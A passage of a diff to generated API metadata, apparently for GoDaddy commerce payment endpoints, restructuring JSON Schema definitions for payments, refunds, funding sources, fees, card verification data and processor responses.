"https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "propertyName": "processorType" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } }, - "country": { - "type": "string", - "description": "Country" + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents sale transaction against a payment", + "title": "Sale Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/payment/type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment type", + "enum": [ + "AUTHORIZATION", + "SALE", + "REFUND" + ], + "title": "Payment Type", + "type": "string" + }, + "updatedAt": { + "description": "Last updated time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" } }, "required": [ - "token" + "type", + "amount", + "fundingSource", + "createdAt" + ], + "title": "Payment", + "type": "object", + "x-generic-type": "Payment", + "x-tags": [ + "transaction", + "payments" ] }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } + "type": "array" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "Link": { + "description": "HATEOAS link", + "properties": { + "href": { + "type": "string" + }, + "rel": { + "type": "string" } - } - ], + }, + "type": "object" + } + }, + "description": "HATEOAS links", + "items": { + "description": "HATEOAS link", "properties": { - "token": { - "type": "string", - "description": "Paypal token", - "writeOnly": true + "href": { + "type": "string" + }, + "rel": { + "type": "string" } }, - "required": [ - "token" - ] - } - ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" - } + "type": "object" + }, + "title": "Links", + "type": "array", + "x-auto-generated": true }, - "properties": { - "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" - } + "totalItems": { + "type": "integer" }, - "required": [ - "sourceType" - ] + "totalPages": { + "type": "integer" + } }, - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } + "title": "PaymentList" } } }, - "responses": { - "201": { - "description": "Refund payment completed successfully", + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "createPayment", + "method": "POST", + "path": "/stores/{storeId}/payments", + "summary": "Create Payment", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Refund Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$ref": "./types/Uuid.yaml" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A monetary transfer of funds from a funding source to the recipient merchant", + "properties": { + "additionalProcessingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "authOnly": { + "default": false, + "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment", + "type": "boolean", + "writeOnly": true + }, + "partialAuthEnabled": { + "default": true, + "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Transaction Processing Instruction", + "type": "object" + }, + "adjustments": { + "description": "Adjustments for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "propertyName": "amountType" }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { "amount": { - "type": "integer", + "description": "Payment amount", "format": "int64", - "description": "Tip amount" + "type": "integer" }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } + "propertyName": "feeType" }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true + { + 